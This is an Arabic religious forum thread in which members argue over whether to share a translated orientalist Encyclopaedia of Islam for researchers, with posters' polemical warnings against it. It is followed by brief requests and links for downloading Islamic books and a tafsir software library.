لا يا سيدي، بل بدأ ترجمتها في النصف الأول من القرن الثاني الهجري، وأول كتاب تُرجم إلى اللغة العربية هو (أثولوجيا أرسطوطاليس) كما يقول الدكتور (الوجودي الملحد) عبد الرحمن بدوي ... (سألتك بالله يا أخي أن لا تظن أني مؤمن بالفلسفة، اليونانية أو الإسلامية، وأنا أُشهِدُك وأُشهِدُ اللهَ وملائكتَهُ وحملةَ عرشِهِ، وأُشهِدُ مَن يقرأ كلامي هذا، أني مؤمن تماما بأن الفلاسفة كفار، يونانيين كانوا إو إسلاميين، لكني أردُّ فقط على سؤالك عن تاريخ ترجمة كتب الفلسفة اليونانية).
• ثم تقول – أكرمك الله -: (هل تريد أن تتاح هذه الموسوعات للصالح والطالح فكريا؟).
انظر يا أخي إلى المكان الذي تُنشر فيه الموسوعة، تجد الإجابة إن شاء الله. إن (ملتقى أهل الحديث) ليس مكانا للصالح والطالح، بل هو منتدى (خلاصة الصالحين وصفوتهم) إن شاء الله، أما الطالحون فلهم منتدياتهم، وهم أحرص الناس على عدم دخول (جنة المحدثين)؛ (ملتقى أهل الحديث). نعم خوفُكَ يكون مبررا إذا ما رُفِعت الموسوعة في مثل منتدى اللادينيين العرب [!!!]- لا تتعجب يا أخي، فإن للكفار منتدياتٍ يتباهون فيها بكفرهم، أتعثَّر فيها أحيانا وأنا أتجول في شبكة الإنترنت - إن توفير الموسوعة في مثل هذه المنتديات الفاجرة الكافرة يكون وسيلة ضلال وإضلال، أما نشرها في (ملتقى أهل الحديث) فهو لا يعدو أن يكون توفير مرجع علمي للباحثين.
ولا أقصد بقولي: (مرجع علمي) أن تكون الموسوعة مرجعا علميا في علوم الدين، فالدين لا يؤخذ من الموسوعة، وأنا لن أتعلم القياس أو حجية الإجماع من الموسوعة، ولكنه (مرجع علمي عن آراء المستشرقين في الإسلام)، لكل من يكتب بحثا أكاديميا، فيأخذ اقتباساتٍ من اتهاماتهم للرد عليها، ولاحظ الفرق يا أخي العزيز، بين ما تظنه وتخافه من أن تصير الموسوعة مرجعا لعلوم الدين، وبين ما أقصده من أن الموسوعة مرجع لسموم المستشرقين للرد عليها.
• ثم تقول – أكرمك الله -: (كما لم يطالب أحد إلى الآن بمنع نشر دائرة المعارف المذكورة، ولكن أليس من الواجب التنبيه وبشدة على مدى خطورة هذا المؤلف على طلاب العلم المبتدئين الذين لا يمتلكون حصانة عقائدية وفكرية كاملة؟).
نَعَم يا أخي، ونِعْمَ الرأي ما تقول، يجب – عند رفع الموسوعة – (التنبيه وبشدة على مدى خطورة هذا المؤلَّف على طلاب العلم المبتدئين، الذين لا يمتلكون حصانة عقائدية وفكرية كاملة)، لا يجحد كلامك هذا إلا مكابر ... فلنحرص على نشر الموسوعة، مع التنبيه وبشدة على مدى خطورة هذا المؤلَّف على طلاب العلم المبتدئين.
• ثم تقول – أكرمك الله -: (كما أن هذه الموسوعة قديمة، وهي لمستشرقين رحلوا عن الدنيا، وليس فيها جديد إلا من باب الدراسات الجادة، مثل الدراسات المتخصصة في مرحلتي الماجستير والدكتوراة والدراسات المتخصصة).
أنا أتفق معك تماما يا سيدي على هذه النقطة، وقد ذكرت ذلك في مداخلتي، في قولي: دائرة المعارف (لم يزعم) أحد أنها للثقافة العامة ... لكنها مرفوعة للمتخصصين، والمتخصصون من أعضاء المنتدى ليسوا بالآحاد أو العشرات حتى نغضَّ الطرفَ عن مصلحتهم، بل هم بالمئات، فأنا أستطيع أن أزعم أن جميع المعيدين والمدرسين المساعدين والمدرسين والأساتذة المساعدين والأساتذة، في علوم الدين والأدب والنقد واللغة والنحو، (في الوطن العربي كله)، ممن يملكون حاسوبا ويدخلون على الإنترنت، هم أعضاء مقيمون وضيوف دائمون كل يوم في (ملتقى أهل الحديث). فمن أجل هؤلاء يجب أن نشجع رفع الموسوعة على الإنترنت.
• ثم تقول – أكرمك الله -: (فلماذا الإصرار الدائم على فائدتها وهي لم تُكتب أو تُطبع لنا كمسلمين، فهي شبهات وأباطيل لمجموعة من المستشرقين تتبنى وجهة النظر الغربية للإسلام والمسلمين، وتمثل مرجعا للفكر الغربي تعطي التصور الذي يلتزم به الغرب عند الحديث الإسلام، فلماذا المطالبة بقراءتها واقتنائها مادامت ليست من صميم عملي في الكشف عن أخطاء الغرب والاستشراق نحو الإسلام والمسلمين؟ و لماذا لا تكون مثل هذه المؤلفات يتم تعاطيها في إطارأكاديمي بحت بعيدا عن العامة والمبتدئين؟).
(يُتْبَع .. اقلب الصفحة)
(61/375)
• أما قولك: (فلماذا الإصرار الدائم على فائدتها)، فلم أدَّعِ أنا ولم يدَّع أحدٌ أن فيها فائدة دينية، بل لها فائدة للباحثين في الاقتباس منها والرد على هذه الاقتباسات، أرجوك يا أخي كنت أظن أن وجهة نظري واضحة، ولا أريد أن أكرر نفسي، إن الرجوع إليها في البحوث مهم للغاية، فلا بد أن يبين الباحث أنه قرأ كل ما كُتِب في موضوع بحثه، الآراء الموافقة والمخالفة، وأنه لم ينظر إلى جانب واحد من جوانب المكعب، بل نظر إلى جوانبه الستة كلها، وهذا يُكسب بحثه قيمةً وعمقا (وتقديرا من لجنة الحكم على الأطروحة)، وفيه اتباع للمنهج العلمي في البحث ... هذه هي الفائدة المذكورة في قولك: (فلماذا الإصرار الدائم على فائدتها)، وهي فائدة عظيمة لا يجب التقليل من شأنها.
• الموسوعة مثل (كتاب الأغاني) لأبي الفرج، مليء بالأخطاء التاريخية، بل ليس مصدرا للتاريخ ولا للحديث، لكنه مصدر أساسي في الشعر والأدب والنقد، لا يصح أن تخلو منه مكتبة باحث محترم، ومن يريد عدم رفعه لما فيه من أخطاء، ويريد قصره على المكتبات الجامعية للمتخصصين فقط، سيحرم المئات من الأكاديميين من مرجع أساسي في بحوثهم ... والموسوعة مثل كتاب الأغاني، الخوف من رفعها - لما فيها من سموم وأخطاء - سيحرم مئات الأكاديميين من مرجع أساسي في بحوثهم.
• ثم من أدراك يا سيدي أنها متوافرة في المكتبات الجامعية كلها؟ إن ميزانية الكتب في الجامعات (المصرية) تثير العجب، وتسيل دموع العين ... فقولك: (ولماذا لا تكون مثل هذه المؤلفات يتم تعاطيها في إطارأكاديمي بحت بعيدا عن العامة والمبتدئين؟)، وفكرة اكتفاء رجوع الباحثين إليها في المكتبات فيها عَنَتٌ أيُّ عَنَت، ومشقةٌ أيُّ مشقة على الباحثين.
• ثم تقول – أكرمك الله -: (لماذا لا نقلل من أهمية هذا المؤلف خاصة وأن سنوات تأليفه قد مر عليها عقود طويلة؟). الرد على هذا ما ذكرتموه في مشاركتكم رقم (20) حين قلتم على لسان أنور الجندي: (جمعتْ دائرةُ المعارف (خلاصةَ مختلف الكتب) التى ألفها المستشرقون فى الهجوم على الإسلام). فمن يرجع إليها كمن يرجع لمئات الكتب التي ألفها المستشرقون مجموعةً في كتاب واحد، وهل هناك فائدة أكبر من هذا للباحث عن أقوال المستشرقين للرد عليها؟
• كما يرد على سؤالك أيضا قولك في المشاركة رقم (22) على لسان أنور الجندي: (حديثٌ معادٍ وحجج باطلة:ولم تكن كلمات هؤلاء الكُتّاب في الحقيقة إلا ترديداً لما قرأناه كثيراً، وما نشر من كتابات جولد زيهر ومرجليوث وشاخت وماسينيون وجب، وغيرهم من متعصبة الاستشراق، وجاء اليوم روجيه جارودي ومونتجمري وات وأتباعهم من أمثال جوردن نيف وإدوارد شوبرتر وغيرهم من تلامذة المبشرين ليرددوها).
وأقول: ما دام المستشرقون الجدد مازالوا يرجعون إلى (كتابهم المقدس)؛ أعني (دائرة المعارف الإسلامية)، ولا جديد في آرائهم، فإن هذا يزيد من أهمية هذه الموسوعة، ويجعلنا أحرص على اقتنائها، والرجوع إلى خزعبلات المستشرقين فيها، مادام المستشرقون المعاصرون يكررون ما فيها من أقوال.
• وهذا أيضا يرد على قولك في نفس المشاركة: (كما أن هذه الموسوعة قديمة وهي لمستشرقين رحلوا عن الدنيا وليس فيها جديد)، وقولك: (لماذا لا نقلل من أهمية هذا المؤلف خاصة وأن سنوات تاليفه قد مر عليها عقود طويلة؟)، فما دام المستشرقون المعاصرون يكتفون بتكرار ما فيها، لا تزول أهميتها بموت مؤلفيها، بل تزداد أهمية، لأنها نفس آراء المعاصرين من المستشرقين، والمرجع الأساسي لهم.
• أما قولك – أكرمك الله -: (لماذا لا نقلل من أهمية هذا المؤلَّف خاصة وأن سنوات تأليفه قد مر عليها عقود طويلة؟
هل لنرد عليها؟!
ألا تعلم - وأظنك تعلم - أن هناك مئات الردود قد كُتبت في دحض تلك الشبهات التي باتت مكررة لا جديد فيها؟ كما أن مركزا لدراسة الاستشراق ومايكتبه المستشرقون موجود الآن في في المملكة العربية السعودية، وهناك متخصصون في مجال الاستشراق هم أولى بالاطلاع عليها من غيرهم).
أعزك الله بغيرتك وتقواك، أنا أقصد ردودا أخرى غير ما تقصده ويفعله مركز دراسة الاستشراق، وأعتقد أنك قد فهمت قصدي، فأنا أقصد الرجوع إليها في الأطروحات الجامعية، وبحوث الترقية للأستاذية ... هل تعلم يا أخي أن كتاب الدكتور إبراهيم عوض الذي ذكرتَهُ في المشاركة رقم (20): (دائرة المعارف الإسلامية الاستشراقية أضاليل وأباطيل)، ما هو إلا بحث قدَّمه للترقية للأستاذية؟ لمثل هذا وأمثاله – وهم بالمئات – يجب الاهتمام برفع الموسوعة وغيرها من كتب المستشرقين، المترجمة إلى اللغة العربية.
• ما أجملَ أن يرجع باحثٌ في أطروحته عن أصول الفقه، إلى ما قاله شاخت عن تأثر الفقه الإسلامي باليونانية، ويرد على ذلك في أطروحته ويفنِّده! كم سيُثرِي هذا من أطروحته؟ ويرفع قيمتها وقيمة الباحث في أعين المناقشين له؟ هذه هي الردود التي أقصدها يا أخي، فهل فهمتَ قصدي؟
أسأل الله أن يشرح صدرك لفهم مرادي، وأن ينزع الخوف من كتب أهل الاستشراق، فكما قلت لك من قبل: خَفْ على القراء في ملتقى (اللادينيين العرب) أو (دي في دي فور آراب)، ولكن لا تخف على رواد (ملتقى أهل الحديث) فهم إما مشايخ وإما باحثون متدينون، لا خوفَ على هؤلاء ولا أولئك، بل لن يضيع أحدٌ منهم وقته في قراءة كلام المستشرقين، ولن يفتحها (من أعضاء المنتدى وضيوفه) إلا الباحثون فقط، (للاقتباس والرد).
وكما قلت لك من قبل يا أخي، تأكَّدْ أنه لن يؤمن أحدٌ بالتصوف – مثلا - عندما يقرأ في الموسوعة أن الحلاج ادعى الألوهية وحلول الله فيه! أو أن ابن عربي كان يؤمن بوحدة الوجود، أو أن يقرأ أي شيء من الكفريات التي تقشعر لها الأبدان، بل إن قراءته لهذا في الموسوعة سيزيده إيمانا على إيمانه ... زادك الله إيمانا، وتقوى، وحرصا على ما فيه الخير لك وللمسلمين، آمين.
(يُتْبَع .. اقلب الصفحة)
(61/376)
ـ[محمد مبروك عبدالله]ــــــــ[22 - 02 - 09, 06:15 م]ـ
أخي الحبيب البشير
أراني وإياك قد اتفقنا على بعض النقاط ووصلنا إلى مرحلة دقيقة للغاية في هذا الموضوع
ولكن هناك بعض النقاط لم تزل محل نقاش رفيع المستوى كالذي أقرأه في كلماتك الطيبة
فقد اتفقنا ضمنيا من خلال الردود المختلفة بين وبينك إلى مجموعة من المبادئ الأساسية:
أولا: هذه الموسوعة بها سموم ناقعات من شبهات المستشرقين وتحمل بين سطورها الرأي الذي يتبناه عدد كبير منهم.
ثانيا: ضرورة تناول هذه الشبهات والرد عليها ردا علميا يقوم به نفر من أصحاب التخصصات الدقيقة من أهل العلم من أكابر علماء المسلمين حتى لا ندع مجالا لمتشكك بعدها في بقاء الشبهة عالقة في فكره وفكر الناشئة وطلاب العلم؛ فيقتصر بذلك أمر دراستها على المراحل العليا من الدراسات المتخصصة
ثالثا: ضرورة التحذير من هذه المؤلفات وأمثالها حتى لا ينخدع بها السذج والهواة من جامعي الكتب من قليلي التعمق في الثقافة الإسلامية.
أما النقاط التي أرى أنها مازالت محل تحرير ونقاش فهي:
وصفك ونعتك لي بما أدعو الله أن أكون من أهله, فشكر الله لك حسن ظنك بي، وأدعو الله أن يتغمدني وإياك بعظيم عفوه وأن يمن علينا بكريم عطائه وأن ينير لنا سواء السبيل حتى لا نضل بعد أن هدانا الله.
ثانيا: أن إتاحة مثال هذه الأعمال دون ضابط أو منهج علمي محدد في التعامل معها أمر غير مقبول علميا وعمليا.، فهذه الموسوعة لا تقل في نظري عن كتابات كثيرة ارتدت ثوب العلم لتخرج علينا بأراء شاذة وضلالات فكرية باسم العلم والبحث العملي فهل نتداول هذه الأعمال بحجة البحث العلمي هكذا أم يتم وضعها في إطار ضيق يقتصر على المتخصصين من ذوي العلم وأصحاب الفكر السليم، وليس هذا الرأي قدحا في أعضاء ملتقى أهل الحديث أو يعد تقليلا من حسن الظن بهم لكني يا أخي الحبيب أنعى غليك المنهجية في القراءة أو وجود أشراف علمي جاد على ما نقرأه فحماستنا لديننا يغلبها طابع العشوائية في اختيار المادة المقروءة وأحيانا تسيطر الحزبية والعصبية المذهبية أو التعصب لرأي أو شيخ في اختيار ما يقرا وترك ما عداه فهل مع هذه التحفظات ندع الأمر هكذا دون أن يكون هناك من تخوف تحسبه وهميا؟
فهل كل أخ لديه هذه المناعة حتى لا تترك الشبهة أثرا في نفسه؟ أظنه أمر مستبعد ومغالاة وثقة زائدة وانظر
يا أخي في أرشيف الملتقى لتجد الكثير من الأخطاء التاريخية والعقائدية التي كان يقع فيه بعض الأخوة وبفضل الله يتم تصحيح هذا الخطأ وتدارك مثل هذه الشبهة (*)
-حسن ظنك بكل من يقرا هذه الموسوعة أن يكون لديه من الحصانة الفكرية والرشد العقلي بما يجعله يدع الشبهات جانبا فهل كل من سيقرؤها تظنه هكذا أنا لا أظن ذلك وبعض الظن ليس بإثم.
- حسن ظنك بمن يرتاد ملتقى أهل الحديث هو- إن شاء الله في محله -لكن هل يدخل ويخرج إلى ملتقى أهل الحديث كل من تراهم سليمي العقيدة والفكر فقد يأتي إلى هذا المنتدى المبارك من يسوقه محرك البحث Google بحثا عن مأربه فقد يقرأ هذه الموسوعة دون أن ينتبه إلى ما فيها، وكم انتشرت ضلالات بمثل هذه الطريقة كأن تجد كتابا وتظنه محل ثقة من العلماء وهو لا يعدو أن يكون كتابا ساقطا في سلم البحث العلمي.
فيا حبذا لو تقوم جهة علمية إسلامية بتمويل مشروع علمي للرد على هذه الموسوعة بدلا من تشتيت الجهود وبعثرة الردود في رسالة تخرج هنا أو توضع على الرف هناك أو أخرى تكون إعادة عن قصد أو غير قصد لما تم الرد عليه سابقا أليس هذا العمل أولى بالتبني من التكرار والجهد الفردي الذي يذهب بمرور الوقت أثره ولا يستمر فاعلا؟
ألم تخرج هذه الموسوعة تحمل أكثر من اسم اشترك في تأليفها فأين نحن من العمل الجماعي وهذه الموسوعة مر على تأليفها أكثر من سبعين عاما ..
كما ان هذه الموسوعة أو دائرة المعارف هذه تحمل اسما خادعا فهي تحمل اسم الإسلامية وهو نعت لا يليق بها، وهو منهج متبع قديم تقوم به دوائر تعادي الإسلام وكم من أخ دخل موقعا يحمل مسمى إسلاميا وهو إلى الكفر أقرب، فأين الإسلامية في هذه الموسوعة هل كتابها مسلمون أو أخرجتها منظمة في العالم الإسلامي أو هي تحوي مفاهيم إسلامية صحيحة حتى يمكن وصفها بالإسلامية , إنها أقرب إلى وصف كتاب النصارى بالكتاب المقدس وكما قال الشيخ أحمد ديدات-رحمه الله- في إحدى مناظراته: هذا الكتاب ليس فيه ما يقول أنني كتاب مقدس بل وصف خرج على الناس ممن يريدون إضفاء القداسة على ما لاقداسة فيه. أو له.
(*) مثل الخطأ الذي يقع فيه الكثيرون حول شخصية السلطان عبد الحميد الثاني وغير ذلك
عفوا لم يتسع الوقت لأكثر من ذلك لكن يبقى الود واصلا لإكمال الرد.
إليك أخي الحبيب وإلى قراء الملتقى بعض التحفظات التي ساقها الأستاذ أنور الجندي حول هذه الدائرة وأراها جديرة بالنقاش فيما بعد إن شاء الله تعالى وهي مستلة من كتاب (سموم الاستشراق والمستشرقين) وهو من مؤلفات الأستاذ أنور الجندي - رحمه الله-.
(يُتْبَع .. اقلب الصفحة)
(61/377)
ـ[محمد مبروك عبدالله]ــــــــ[01 - 03 - 09, 09:21 ص]ـ
دائرة المعارف الإسلاميّة
... إحذر
"الموسوعة الاسلامية الميسّرة" خلاصة لدائرة المعارف الإسلامية، وقد اُعدّت تحت إشراف اثنين من كبار المستشرقين هما: الانجليزي "جب" (1) والهولندي "كريمرز" (2)، وقد كتبت باللغة الإنجليزية، وتقع في مجلّد واحد، وترجمت إلى اللّغة العربيّة بإشراف الدكتور راشد البراوي، وطبعتها مكتبة "الانجلو" في القاهرة وصدرت في مجلّدين بـ 1256 صفحة من القطع الكبير.
وفي معرض بيان اتّجاه وطبيعة هذه الموسوعة يقول الدكتور سالم اليافعي: "إنّ الموسوعة الإسلاميّة الميسّرة هي خلاصة الفكر الغربي خلال القرون الأربعة الأخيرة، وإنّ الذين اشتركوا في إعدادها تصل قائمة اسمائهم إلى أربعمائة اسم"، وفي مهرجان طبّي كبير في تركيا قام الدكتور اليافعي بحرق غلاف الموسوعة الإسلاميّة الميسّرة إعلاناً منه
بأنّ الامّة الإسلاميّة قد وصلت على حدّ تعبيره إلى مرحلة (انفصام) العقل العربي الإسلامي عن (لبان) الحضارة النصرانيّة اليهوديّة والعقل الاستشراقي الغربي،
وهي في نفس الوقت دعوة للعودة إلى المنابع الإسلاميّة ممثّلة في القرآن الكريم وعلومه الإنسانية الكبرى وتراثنا الحضاري الشامخ من علم وطبّ وتاريخ وفقه وسياسة واقتصاد.
ويمكننا القول: إن هذه الموسوعة تمثّل عصارة الجهد الاستشراقي في النيل من الإسلام والغضّ من شأنه من خلال ما يقارب ألف كتاب اعتمدت كمصادر لها، كانت قد ألّفت خلال أكثر من أربعمائة عام.
أمّا مفردات الدسّ والتشويه التي حوتها هذه الموسوعة فلا تنحصر بزاوية واحدة، بل إنّها ضمن مناقشتها للقضايا الأساسيّة تشمل الجوانب المتّصلة بالعقيدة، كالرسول (ص) والقرآن الكريم والسنّة الشريفة، وكذلك ما هو متّصل بأركان وفروع التشريع الاسلامي، كالصلاة والحجّ وغيرها، هذا إضافةً إلى تناولها لجوانب من التاريخ الإسلامي وسيرة كبار رجال الإسلام وقادته. وبملاحظة نقديّة أوليّة نستجلي ما دُفن فيها من تحريف وتشويه، وتزكم أنوفنا رائحة السموم التي دُسّت في موادّها بأيدي مستشرقين يهود ونصارى بهدف تشويه معالم الفكر الإسلامي الأصيل وإثارة الشبهات حول تاريخه الناصع وشخصياته القياديّة ... ويمكننا سوق نماذج عن ذلك كالآتي:
1 - في جانب السيرة النبويّة نجد مادتي (محمّد) (ص) (قرآن) مليئتين بالدسّ اليهودي والتحريف النصراني والشبهات المفتعلة حول أحداث السيرة الشريفة وحقيقة القرآن الكريم، كما نجدهما قد كُتبتا بطريقة نكراء تثير الاستغراب وتفتقر إلى المنهج العلمي السليم والأمانة التاريخيّة المطلوبة، ويزول منّا هذا الاستغراب إذا عرفنا أن كاتبهما هو المستشرق الشهير (بوهل) الذي امتلأت مؤلّفاته بإثارة الشبهات والدسّ والتشويه، والذي يعدّ من أكثر المستشرقين حقداً على الإسلام وعلى نبيّه الكريم محمد (ص).
ففي مادّة "سيرة" مثلاً عند بيان أصل السيرة وطبيعتها يدرك القارىء لها مدى الغمز _وفي مواضع متعدّدة _ بأخلاق الرسول (ص) وما عرف عنه من أمانة وصدق سواءٌ في سلوكه الخاص أو في دعوته لرسالته، كما في المقاطع التالية من هذه المادّة: "إن فكرة جمع قصة حياة النبي من مولده إلى وفاته في رواية متتابعة محكمة ليست فكرة قديمة في الجماعة الإسلاميّة ولا هي بالفكرة التي جاءت عفو الخاطر ... هذا الاهتمام أبعد ما يكون عن طبيعة التاريخ بالمعنى الذي نفهمه من هذه الكلمة، وإنما انصرف إلى تخليد ذكر المغازي على غرار ما كان يفعل العرب في الجاهليّة، تلك المغازي التي اشترك فيها المسلمون تحت راية قائدهم الذي كان جلّ أتباعه ينظرون إليه نظرتهم إلى أمير ... وإن كان النبي (ص) لايختلف في خُلقه اختلافاً مشهوداً عن اُمراء الجاهليّة. وقد كان الحافز الاوّل إلى هذا الاهتمام هو الذي دفع القوم، كما نعلم، إلى إقامة السُنّة في تلك الصورة المأثورة من الحديث المروي ... فليست هذه المغازي إلاّ استمراراً أو تطوّر لأيّام العرب ... هذه السيرة يرجع أصلها إلى التحوّل الذي طرأ على شخصيّة محمد في ضمير المسلمين الديني ... وإلى شيء آخر فوق هذا كلّه، وهو أنّ احتكاك المسلمين باليهوديّة والمسيحيّة ورغبتهم في أن يضعوا مُنشىء الإسلام في كفّة مُنشئي هذين الدّينين قد شجعهم على وضع تلك القصص التي أحاطوا بها شخص النبي والتي
(يُتْبَع .. اقلب الصفحة)
(61/378)
أحدثت هذا التحوّل الشامل في طبيعة شخصيّته من مولده (بل قبل مولده) إلى وفاته".
2 - في جانب التاريخ الإسلامي وسيرة الشخصيّات البارزة فيه قُلبت الكثير من الحقائق ودُسّت الكثير من السموم والشبهات. حتّى لكأنّك تقرأ تاريخاً وسيرةً اُخرى لا تمتّ للإسلام والمسلمين بصلة. ومن الشخصيات التي طالتها الشبهات ودُسّت في سيرتها السموم بعض صحابة الرسول (صلى الله عليه وسلم) كحمزة بن عبد المطلب والعباس بن عبد المطلب، وبلال الحبشي، ومصعب بن عمير، وكذلك بعض اُمّهات المؤمنين. بل طالت أيضاً بعض الأنبياء السابقين الّذين ورد ذكرهم في القرآن الكريم كنبي الله صالح (عليه السلام) ونبي الله شعيب (عليه السلام).
فمثلاً من صور التشويه لسيرة حمزة بن عبد المطلب عمّ النبي والحطّ من شخصيّته ومصداقيّة انتمائه المبدئي للإسلام ما يقوله المستشرق "لامنس" في مادّة "حمزة" من أنّه: "عمّ النبي"، وتزيد الروايات أنّه أخوه في الرضاعة سعياً منها إلى تمجيد هذا البطل من أبطال الإسلام في عهده الاوّل، ولا نعرف عن حمزة فيما عدا ذلك إلاّ القليل، ويزعم الجهّال من مادحيه أيضاً انه اشترك في حرب الفجار ... وفي أوّل الأمر وقف حمزة من الدّين الجديد موقف العداء شأنه في ذلك شأن سائر بني هاشم، على أن لجاج أبي جهل في خصومة النبي استثاره، ومن ثم يُقال انه دخل في الإسلام بعد نزول الوحي على محمد بسنتين، أو بست في روايات اُخرى. ثم هاجر معه إلى المدينة وعاش فيها أول الامر عيشة المغمور البائس حتّى لقد بلغ من أمره أن خرج عن وعيه في يوم من الأيّام تحت تأثير الإفراط من الشراب وحمل بسيفه على جمالٍ لعلي".
3 - في جانب آخر من التاريخ الإسلامي أبرزت الموسوعة اهتماماً كبيراً بأصنام العرب قبل الإسلام، وما أسمته بطقوس الحجّ التي حاولت أن تخلط فيها بين طقوس الحجّ قبل الإسلام وما شرّعه الإسلام من فرائض عبادة الحجّ.
هذه إلمامة إجماليّة سريعة عن مفردات الدسّ والتشويه الذي تضمنته هذه الموسوعة، ومن المؤسف أن نجد أن الأهداف الخبيثة التي استهدفتها وأمثالها أثمرت انخداع الكثير من أبناء الإسلام بها، خصوصاً أبناء الجيل الحديث من مثقفي وخرّيجي المدارس والجامعات العربيّة، حيث جعلوها مصدر إلهامهم الرئيسي لمعرفة دينهم وحضارتهم وتاريخهم الإسلامي. ونتيجة للخطر الذي استشعره بعض الكتّاب والمتتبعين لخطط المستشرقين في تشويه معالم الدين الإسلامي وتاريخه وحضارته من خلال هذه الموسوعات عمدوا إلى تقديم البديل عنها، وتوجيه أبناء الإسلام لاستقاء معارف دينهم وتاريخهم وحضارتهم منها، ومن هؤلاء الكتّاب الاُستاذ أحمد عطية الله الذي قام بتأليف "القاموس الإسلامي" بدلاً عن الموسوعة الإسلاميّة الميسّرة، الذي حرص فيه على تصحيح جميع ما فيها من أخطاء، إلاّ أنّه توفّي قبل أن يتمّه. كما قامت جامعة البنجاب في الهند بمحاولة اُخرى في مجال تقديم البديل، فعمدت إلى رفع جميع الموادّ المحرّفة والمشبوهة التي وردت في دائرة المعارف الإسلاميّة وخلاصتها المتمثّلة بالموسوعة الإسلاميّة الميسّرة، وقدّمت البديل الإسلامي عنها بأقلام علماء مسلمين، ثم ترجمت هذه الدائرة بشكلها المصحّح إلى لغة الاُردو. وقامت مؤسّسة مكتب التربية العربي لدول الخليج بإصدار كتاب في مجلّدين ضمّ أكثر من 30 بحثاً بالردّ على بعض الكتب الاستشراقيّة المشهورة الطافحة بالتشويه والمليئة بالدسّ والسموم.
منقول: بلاغ
ـــــــــــــــ
1_ جب، هاملتون ألكسندر روسكين Gibb, Hamilton Alexander Rosskeen (1895 م) مستشرق انجليزي عُني بدراسة التراث الإسلامي وتعريف الغربيين به. من أشهر آثاره: دراسات في حضارة الإسلام (عام 1962م)، وقد نقله إلى اللغة العربيّة الدكاترة إحسان عباس ومحمد يوسف نجم ومحمود زيد. "عن موسوعة المورد ج 4".
2_ ج _ ه* كريمرز J.H Kramers : مستشرق هولندي كثير الطعن في الإسلام وصاحب ميول تبشيريّة سافرة.
وجدت هذا التحذير في مشاركة سابقة
رابط
http://www.ahlalhdeeth.com/vb//showthread.php?p=621476
ـ[محمد الاسلام]ــــــــ[01 - 03 - 09, 09:44 ص]ـ
ياأخي مالك
ماذا تريد
ملأت الموضوع تحذيرات أما كفى قد أسمعت الصم أو كدت
لاتحسبن صمتي وعدم ردي هنا وفي ذلك الموضوع كما تظن
فالان قد حذرت كل من قرأ مشاركاتك جزاك الله خيرا فلم التكرار والاصرار
فامض راشدا
ـ[محمد مبروك عبدالله]ــــــــ[01 - 03 - 09, 01:10 م]ـ
تحذيراتي لم يسمع بها أحد والموسوعة إلى الآن يتم تحمليها من أكبر المواقع الإسلامية - ملتقى أهل الحديث-
على أنها مرجع إسلامي ومصدر له قيمة.
والذي رفعها لم ينبه إلى ما فيها.
وعندما حذرنا إذا به يتوعدنا بالرد
فلتحذف أمثال تلك الموسوعات من الملتقى ومن أرادها فالمواقع المتخصصة في الموسوعات كثيرة.
ـ[أحمد السيد محمد حسن]ــــــــ[20 - 11 - 10, 09:11 م]ـ
اخواني في الله
وا امة الإسلام
اخذروا هذا الكتاب الخطير
انه عبارة عن كتاب صممه المستشرقين و دسوا فيه السم بالدسم
قرأت منه الكثير و نقده و علق عليه الدكتور عبد المنعم فؤاد الأستاذ بجامعة الرياض بالسعودية ..... اخواني اخذروا هذا الكتاب (دائرة المعارف الإسلامية) انا مش مصدق ان هذا الكتاب يُحمّل بهذا المنتدى و انتم ساكتون!!!!!!!!!!!!!!!
(يُتْبَع .. اقلب الصفحة)
(61/379)
ـ[أحمد السيد محمد حسن]ــــــــ[20 - 11 - 10, 09:13 م]ـ
كما قرات عن مؤلفوا هذا الكتاب و أنهم عُرفوا بأنهم من أشد أعداء الإسلام
و هذه الموسوعة انشأت منذ مئة عام تقريبا
ـ[حسين بن حيدر]ــــــــ[20 - 11 - 10, 09:23 م]ـ
http://dc102.4shared.com/img/vqzo921U/___online.pdf (http://www.4shared.com/document/vqzo921U/___online.html)(61/380)
الا هل ترفعوا التصريح بمضمون التوضيح
ـ[محمد الاسلام]ــــــــ[03 - 10 - 08, 07:16 ص]ـ
الاخوه الاعزاء
الا يتكرم احدكم علينا ويرفع كتاب التصريح بمضمون التوضيح للازهري
هذا اذا لم يكن موجود فيدلنا عليه
ـ[هاني القزاز]ــــــــ[03 - 10 - 08, 10:49 م]ـ
هو موجود بصيغة موافقة للمكتبة الشاملة
موافقاً للمطبوع مذيلاً بالحواشي بتحقيق محمد باسل عيون السود
موجود في هذه المنتدى في مشاركة للأخ أبو عبد المعز في مشاركة
وهذا رابطه http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=58230&d=1216307892
ـ[راجي سعيد]ــــــــ[03 - 10 - 08, 11:58 م]ـ
بارك الله فيك
وجزاك الله كل خير
ـ[محمد الاسلام]ــــــــ[04 - 10 - 08, 01:53 ص]ـ
اقصد pdf اخي الكريم
وهذا الذي وضعته ايضا لايعمل عندي
ـ[هاني القزاز]ــــــــ[04 - 10 - 08, 08:57 م]ـ
هذا رابط آخر لعله سليم إن شاء الله
http://www.ahlalhdeeth.com/vb/attachment.php?attachmentid=58230&d=1216307892
ـ[محمد الاسلام]ــــــــ[04 - 10 - 08, 09:03 م]ـ
بارك الله فيك اخي ورفع قدرك نعم يعمل
مع ان الرابط هو نفسه الذي رفعته سابقا ولم يعمل عندي ببرنامج التنزيل الا بعد ان نزلته ببرنامج اخر
ولم يقدم البرنامج (تصريح ولا توضيح) لسبب رفضه تنزيل (التصريح بمضمون التوضيح)(61/381)
اسطوانة مكتبة التفاسير
ـ[محمد الاسلام]ــــــــ[03 - 10 - 08, 08:23 ص]ـ
26كتاب من كتب التفسير
المصحف كاملا
امكانية البحث في المصحف بكلمة او أكثر مع بعض الخيارات
امكانية البحث في التفاسير بكلمة او أكثر مع بعض الخيارات
امكانية الإستماع للقرآن الكريم بصوت القارئ الشيخ علي بن عبد الرحمن الحذيفي
211 ميقا بايت
http://ia310811.us.archive.org/0/items/httpwww.archive.org_1469 (http://ia310811.us.archive.org/0/items/httpwww.archive.org_1469/qurantopics.JPG)
/qurantopics.JPG (http://ia310811.us.archive.org/0/items/httpwww.archive.org_1469/qurantopics.JPG)
http://ia311229.us.archive.org/3/items/httpwww.archive.org_423/quran.JPG
http://ia311219.us.archive.org/3/items/httpwww.archive.org_1626/searchtafseer.JPG
الرابط المباشر
http://thegreatislam.net/cds/Tafser_Library.rar
ـ[إسماعيل سعد]ــــــــ[03 - 10 - 08, 03:35 م]ـ
جزاكم الله خيرا
ـ[أبو الحسن السلفي]ــــــــ[04 - 10 - 08, 04:48 م]ـ
جزاكم الله خيرا(61/382)
